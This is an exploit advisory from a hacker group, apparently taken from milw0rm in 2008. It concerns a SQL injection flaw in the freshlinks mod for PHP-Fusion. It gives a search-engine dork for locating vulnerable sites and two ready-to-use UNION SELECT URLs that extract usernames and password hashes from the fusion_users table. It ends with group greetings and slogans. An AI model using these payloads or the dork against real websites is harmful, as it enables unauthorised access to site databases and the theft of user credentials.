35 lines
No EOL
1.1 KiB
Text
35 lines
No EOL
1.1 KiB
Text
########################################################
|
|
PHP-Fusion Mod freshlinks (linkid) Remote SQL Injection Vulnerability
|
|
########################################################
|
|
|
|
|
|
|
|
++++++++++++++++++++++++++++
|
|
Author : boom3rang
|
|
webpage : www.khg-crew.ws
|
|
greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er | Kosova Hackers Group.
|
|
++++++++++++++++++++++++++++
|
|
|
|
|
|
|
|
|
|
[+] Dork: inurl:"freshlinks_panel/index.php?linkid"
|
|
|
|
[+] Example: http://localhost/infusions/freshlinks_panel/index.php?linkid= [SQL] &frame
|
|
|
|
username:
|
|
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6,7,8/**/from/**/fusion_users--&frame
|
|
|
|
password:
|
|
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6,7,8/**/from/**/fusion_users--&frame
|
|
|
|
|
|
ps. Username and Password you can find in Title!
|
|
|
|
############################################
|
|
=United State of Albania=
|
|
-Porud 2 be Albanian-
|
|
-Proud 2 be Muslim-
|
|
############################################
|
|
|
|
# milw0rm.com [2008-09-28] |